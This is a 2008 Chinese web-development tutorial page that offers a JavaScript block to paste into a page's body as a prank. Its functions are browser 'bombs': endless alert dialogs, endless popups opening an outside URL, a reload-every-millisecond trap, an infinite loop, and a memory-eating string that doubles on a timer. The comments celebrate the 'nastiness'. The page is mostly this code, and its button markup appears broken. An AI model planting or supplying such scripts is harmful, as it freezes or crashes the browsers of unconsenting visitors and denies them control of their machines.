WEB开发网
开发学院网页设计Html 危险,你敢点击吗? 阅读

危险,你敢点击吗?

 2008-07-07 01:25:23 来源:WEB开发网   
核心提示:在<BODY></BODY>中加入 <SCRIPT LANGUAGE="JavaScript"><!-- Beginfunction AnnoyingButton(){ while (true) window.alert("
在<BODY></BODY>中加入

<SCRIPT LANGUAGE="JavaScript">

<!-- Begin
function AnnoyingButton()
{
   while (true)
       window.alert("HAHAHA...you can't do anything anymore in Netscape without exiting and restarting....HAHAHA so gimme da UT now...or else!") }
// Keep opening windows over and over again
function WindowBomb()
{
    var iCounter = 0    // dummy counter
    while (true)
      {
        window.open("http://www.NETural.com/~ccamel","CRASHING" + iCounter,"width=1,height=1,resizable=no")
        iCounter++
      }
}
// Not as interesting as the other bombs, but this one forces the user to
// stay at the current page.  User cannot switch to another page, or click
// stop to stop the reloading.
function ReloadBomb()
{
   history.go(0)                         // reload this page
   window.setTimeout('ReloadBomb()',1)   // tell netscape to hit this function
                                         // every milisecond =)
}
// Not a very interesting bomb, it does nothing really :>
function WhileLoopLock()
{
   while (true){}
}
var szEatMemory = "GOBBLEGOBBLE"  // our string to consume our memory
// Now this function EatMemoryInTime is a interesting one that could be
// placed on a timer for maximum nastiness :>  I have been able to get
// up to 4Megs consumed by Netscape forcing my machine to crawl =)
// AND it's time driven!  No while loops here!
function EatMemoryInTime()
{
    szEatMemory = szEatMemory + szEatMemory                    // keep appending
    window.status = "String Length is: " + szEatMemory.length  // report size
    window.setTimeout('EatMemoryInTime()',1);                  // tell netscape to hit this function
}
// End -->

</SCRIPT>
<center>
下面的每一个按钮都很危险,一按你的电脑立即<font color=red>OVER</font>,不信试试吧!!!<br>

<FORM method=post name="FormAction" action="mailt"+"webmaster@mbsky.com">

<INPUT TYPE="button" value="Exploding Windows"
Name="btnExplodeWindows" ><P><br>

<INPUT TYPE="button" value="Annoying Button" Name="btnAnnoy"
><P><br>

<INPUT TYPE="button" value="Reload Bomb" Name="btnReload"
><P><br>

<INPUT TYPE="button" value="While Loop Lock" Name="btnWhile"
><p><br>

 <INPUT TYPE="button" value="Eat Memory In Time" Name="btnEatTime"
><p><br>

<INPUT TYPE="button" value="Action!" ><br>
</center>

Tags:危险 点击

编辑录入:coldstar [复制链接] [打 印]
赞助商链接